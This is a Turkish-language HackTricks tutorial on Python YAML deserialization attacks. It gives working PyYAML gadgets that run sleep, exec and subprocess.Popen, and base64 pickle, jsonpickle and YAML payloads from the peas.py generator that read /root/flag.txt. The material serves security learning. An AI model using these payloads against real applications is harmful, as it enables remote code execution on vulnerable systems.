Python Yaml Deserialization

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Yaml Deserialization

Yaml python kütüphaneleri, yalnızca ham verileri değil, aynı zamanda python nesnelerini serileştirme yeteneğine de sahiptir:

print(yaml.dump(str("lol")))
lol
...

print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l

print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1

tuple'ın ham bir veri türü olmadığını ve bu nedenle serileştirildiğini kontrol edin. Aynı şey range için de geçerlidir (builtins'ten alınmıştır).

safe_load() veya safe_load_all() SafeLoader kullanır ve sınıf nesnesi serileştirmesini desteklemez. Sınıf nesnesi serileştirme örneği:

python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'

print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>

#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object

Önceki kod, serileştirilmiş python sınıfını yüklemek için unsafe_load kullandı. Bunun nedeni, version >= 5.1'de, load() içinde Loader belirtilmediğinde veya Loader=SafeLoader olduğunda, herhangi bir serileştirilmiş python sınıfını veya sınıf niteliğini deseralize etmeye izin vermemesidir.

Temel Sömürü

sleep nasıl çalıştırılır üzerine bir örnek:

python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))

Güvenlik Açığı .load("<content>") Loader Olmadan

Eski sürümler pyyaml, bir şeyi yüklerken Loader'ı belirtmediyseniz deserialization saldırılarına karşı savunmasızdı: yaml.load(data)

Bu güvenlik açığının tanımını burada bulabilirsiniz. O sayfadaki önerilen sömürü şudur:

yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec

Ya da bu @ishaack tarafından sağlanan tek satırlık kodu da kullanabilirsiniz:

yaml
!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec  } },
],
}

Not edin ki son sürümlerde .load() artık bir Loader olmadan çağrılamaz ve FullLoader bu saldırıya artık savunmasız değildir.

RCE

Özel yükler, PyYAML veya ruamel.yaml gibi Python YAML modülleri kullanılarak oluşturulabilir. Bu yükler, güvenilir olmayan girişi uygun bir şekilde temizlemeden deseralize eden sistemlerdeki zayıflıkları istismar edebilir.

python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess

class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))

deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)

#!!python/object/apply:subprocess.Popen
#- ls

print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))

Payload Oluşturma Aracı

Aracı https://github.com/j0lt-github/python-deserialization-attack-payload-generator Pickle, PyYAML, jsonpickle ve ruamel.yaml'i istismar etmek için python deserialization payload'ları oluşturmak amacıyla kullanabilirsiniz:

bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!

cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}

cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==

cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin